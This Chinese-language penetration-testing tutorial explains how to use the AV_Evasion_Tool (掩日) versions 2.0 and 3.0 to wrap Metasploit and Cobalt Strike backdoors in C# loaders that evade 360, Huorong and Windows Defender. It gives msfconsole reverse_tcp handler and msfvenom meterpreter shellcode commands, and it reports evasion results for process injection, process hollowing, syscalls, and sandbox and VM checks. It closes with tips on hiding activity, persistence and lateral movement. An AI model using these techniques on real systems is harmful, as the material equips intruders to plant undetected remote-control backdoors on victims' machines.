渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软
字数 2321
更新时间 2025-08-15 21:33:42

C#加载MSF和CS后门免杀技术详解

一、环境准备

1. 攻击者环境

  • 系统: Kali Linux 2020.4
  • IP: 192.168.175.145
  • 工具: MSF (Metasploit Framework)

2. 目标环境

  • 系统: Windows 10
  • 防护软件: 360安全卫士、360杀毒、火绒、Windows Defender
  • IP: 192.168.2.142

3. 开发环境

  • 系统: Windows Server 2019
  • 编译器: TDM-GCC 9.2.0
  • 开发工具: Visual Studio 2019

二、工具安装与配置

1. 安装GCC环境

  1. 下载TDM-GCC安装包: https://github.com/jmeubank/tdm-gcc/releases
  2. 选择版本: v9.2.0-tdm64-1
  3. 安装选项: 选择"Create"模式,默认安装路径

2. 下载AV_Evasion_Tool

  1. 项目地址: https://github.com/dayuxiyou/AV_Evasion_Tool
  2. 下载2.0和3.0版本
  3. 使用Visual Studio 2019打开.sln文件

三、掩日2.0版本使用

1. 基本功能

  • 支持32/64位系统
  • 支持C和C#语言的shellcode编译
  • 4种执行方式
  • 注入进程默认为notepad.exe
  • 简单沙箱绕过功能

2. MSF后门生成与测试

  1. 在掩日2.0界面输入监听IP和端口
  2. 点击生成按钮创建后门
  3. Kali启动MSF监听:
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.175.2; set lport 4444; exploit -j;"
  1. 测试结果: 全免杀(360、火绒、Defender)

3. C# shellcode免杀测试

  1. 生成C# shellcode后门
  2. 测试结果:
    • 360和Defender免杀
    • 火绒检测并拦截

四、掩日3.0版本使用

1. 增强功能

  • 支持32/64位系统
  • 3种生成格式
  • 支持MSF、C和C# shellcode编译
  • 7种执行方式
  • 可自定义注入进程
  • 隐藏执行界面选项
  • 增强沙箱绕过能力

2. 免杀技术演示

a) 直接执行方式

  1. VirtualAlloc/VirtualProtect

    • VirtualAlloc: 申请内存空间
    • VirtualProtect: 修改内存保护属性
    • 测试结果: 全免杀
  2. SYSCALL方式

    • 使用内核系统调用
    • 测试结果: 全免杀
    • 可修改PID为powershell.exe

b) 新进程注入

  1. VirtualAllocEx
    • 在指定进程虚拟空间分配内存
    • 测试结果:
      • 火绒检测
      • 360和Defender免杀

c) 进程镂空(Process Hollowing)

  1. 绕过检测机制
  2. 测试结果: 全免杀

五、MSF shellcode生成命令

# C格式
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f c

# C#格式
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f csharp

六、源码分析

1. 掩日2.0关键文件

a) C_Template.cs

  • GetProcAddress注入方式
  • 动态申请内存
  • 强制类型转换函数指针
  • 嵌入式汇编执行shellcode
  • 注入到新进程PID
  • 延时绕沙箱
  • 检查注册表和文件绕虚拟机

b) Common.cs

  • 混淆随机字符串
  • 通过cmd执行shellcode

c) Core.cs

  • 图形化界面切换代码
  • 使用gcc的lws2_32模块生成exe
  • 处理shellcode为C#格式

d) CS_Template.cs

  • 三种注入方式:
    • GetProcAddress
    • VirtualProtect
    • syscall注入
  • 沙箱绕过机制
  • 自启动代码

e) Form1.cs

  • 图形化界面设计
  • 可扩展修改

2. 掩日3.0新增功能

a) DotNetToJScript.cs

  • 引导.NET程序集和JScript类型
  • 创建对象执行交互

b) Encrypter.cs

  • shellcode加密函数

c) Global_Var.cs

  • 新增类似VPS功能
  • HTTP服务分离免杀

d) 11种TP注入源码

  • 将注入方式模块化
  • 包括:
    • TP_ProcessHollowing.cs
    • TP_Syscall.cs
    • TP_VirtualAlloc.cs
    • 等11种注入方式

七、免杀技术要点总结

  1. 内存操作技术:

    • VirtualAlloc/VirtualAllocEx内存分配
    • VirtualProtect内存属性修改
    • 嵌入式汇编执行
  2. 注入技术:

    • 进程注入(notepad.exe/powershell.exe)
    • 进程镂空(Process Hollowing)
    • SYSCALL系统调用
  3. 混淆技术:

    • 随机字符串混淆
    • shellcode加密
    • 多态代码生成
  4. 反检测技术:

    • 延时执行绕过沙箱
    • 注册表和文件检查绕过虚拟机
    • 隐藏执行界面
  5. 分离技术:

    • HTTP服务分离下载
    • 多阶段加载

八、开发建议

  1. 图形界面扩展:

    • 基于Form1.cs添加新功能
    • 优化用户体验
  2. 注入机制扩展:

    • 研究新注入技术
    • 添加到TP系列文件中
  3. 混淆增强:

    • 增加更多加密算法
    • 动态混淆技术
  4. 反检测增强:

    • 更智能的沙箱检测
    • 行为模拟技术
  5. 多语言支持:

    • 添加其他语言编译支持
    • 如Python、Go等

九、实战注意事项

  1. 测试时确保在合法环境
  2. 不同杀软版本可能有不同检测结果
  3. 定期更新免杀技术对抗杀软升级
  4. 内网渗透时注意行为隐蔽性
  5. 结合其他技术如权限维持、横向移动

十、总结

本教程详细介绍了基于C#的MSF和CS后门免杀技术,从环境搭建、工具使用到源码分析,涵盖了当前有效的多种免杀技术。关键在于理解内存操作、注入技术和混淆技术的原理,并能够根据实际情况进行调整和创新。随着安全防护技术的不断升级,免杀技术也需要持续演进,建议保持学习和研究最新的系统底层技术和安全防护机制。

相似文章
相似文章
 全屏